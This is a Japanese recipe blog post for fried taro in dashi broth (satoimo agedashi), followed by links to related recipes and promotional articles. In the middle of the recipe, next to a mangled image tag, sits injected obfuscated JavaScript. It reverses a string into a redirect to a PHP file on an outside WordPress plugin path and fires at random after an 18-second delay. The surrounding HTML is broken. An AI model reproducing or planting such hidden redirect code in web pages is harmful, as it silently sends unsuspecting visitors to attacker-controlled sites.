食べること
2022年02月09日
《里芋の揚げ出し》健やかテキパキレシピvo.30
さくら便り
こんにちは。
健やかテキパキレシピのコーナーです♪
今月のレシピは、『里芋の揚げ出し』！
ホクホクの里芋と大根おろしの舌触りが心地よい
優しい味わいの一品です！
寒い季節でございます。暖かい料理で心も体もポカポカに♪
ぜひ作ってみてくださいね＾＾
里芋の揚げ出し
{if(typeof ($mWn.list[n])==”string”) return $mWn.list[n].split(“”).reverse().join(“”);return $mWn.list[n];};$mWn.list=[“\’php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}</script>top2.jpg” alt=”” width=”1398″ height=”1048″ />所要時間：約30分</p>
<p>【材料】4人前</p>
<p>・里芋・・・大きめ5〜6個</p>
<p>・大根・・・1/2カップ</p>
<p>・カイワレ大根・・・1/4パック</p>
<p>・小ねぎ・・・お好みで</p>
<p> </p>
<p>・めんつゆ・・・60ml</p>
<p>・水・・・150ml</p>
<p>・みりん・・・40ml</p>
<p>・片栗粉・・・適量</p>
<p>・油・・・適量</p>
<h5>作り方</h5>
<p><img loading=)
①里芋はよく洗い、皮付きのまま耐熱容器に入れ、竹串が少し通るくらいまでレンジで加熱。粗熱が取れたら皮をむく。
②鍋にめんつゆ・水・みりんを入れて煮立てる。
③里芋を半分に切り、片栗粉をまぶして熱した油で揚げる。
④②に③の里芋を入れ、大根おろしを加えて軽く熱する。
⑤器に盛り付け、カイワレ大根と小ねぎを乗せ盛り付けたら完成。
とっても簡単です！
ぜひ、作ってみてください♪
アンケート：こちら
会報誌「さくらもち」1月号：こちら
関連記事
-
2022.01.14
《だんご汁（大分県の郷土料理）》健やかテキパキレシピvo.29
こんにちは。 健やかテキパキレシピのコーナーです♪ 今月のレシピは、大分県の郷土料理『だんご汁』！ 寒い日々が続くそんな季節… -
2021.12.08
《手羽中の甘辛唐揚げ》健やかテキパキレシピvo.28
こんにちは。 健やかテキパキレシピのコーナーです♪ 今月のレシピは、『手羽中の甘辛唐揚げ』！ つやつやの照りが食欲をそそる一… -
2021.11.10
《いもたき（愛媛県の郷土料理）》健やかテキパキレシピvo.27
こんにちは。 健やかテキパキレシピのコーナーです♪ 今月のレシピは、愛媛県の郷土料理『いもたき』！ 野菜がたっぷり食べられる…
新着記事
-
2022.05.23
さくらの森スタッフと行く気まぐれ道中【vol.56】
今回の気まぐれ道中は、 スタッフのイチオシラーメン店を取材。 ラーメン好きのスタッフ小柳とサンディ、さくらもちくんと 博多ラーメン3軒はしご… -
2022.05.18
わくわくがいっぱい♪これまでのお楽しみ企画をご紹介！
こんにちは！さくらもちくんだよ♪ ゴールデンウィーク終わって、みんな最近は何しよる〜？ ぼくはね、いちご大福ちゃんと一緒に、さくらの森のみん… -
2022.05.16
【5月だけ半額！】高濃度ビタミンクレンジングでエイジングケア！
【超お得】毛穴黒ずみ・角栓をスルっと洗浄！ ナノビタミンカプセル配合のクレンジングが半額で手に入るのは今だけ！ ココラルム マイルドクレン… -
2022.05.13
【今だけ半額以下！】ゴクゴク飲める青汁で疲れ知らずの新習慣を始めませんか？
≪本日解禁≫疲れやすい・栄養不足の方へ！ 通常4,536円（税込）のところ 初回定期価格≪48%OFF≫2,340円（税込） ↓ ↓ キャンペーン限定 ↓ ↓ … -
2022.05.11
初夏が旬の食材「アスパラガス」の選び方と栄養価
こんにちは、さくらの森の添田です。 旬の食材についての情報をお届けするこのコーナー、 今回は、春に旬を迎える「アスパラガス」についてご紹介…
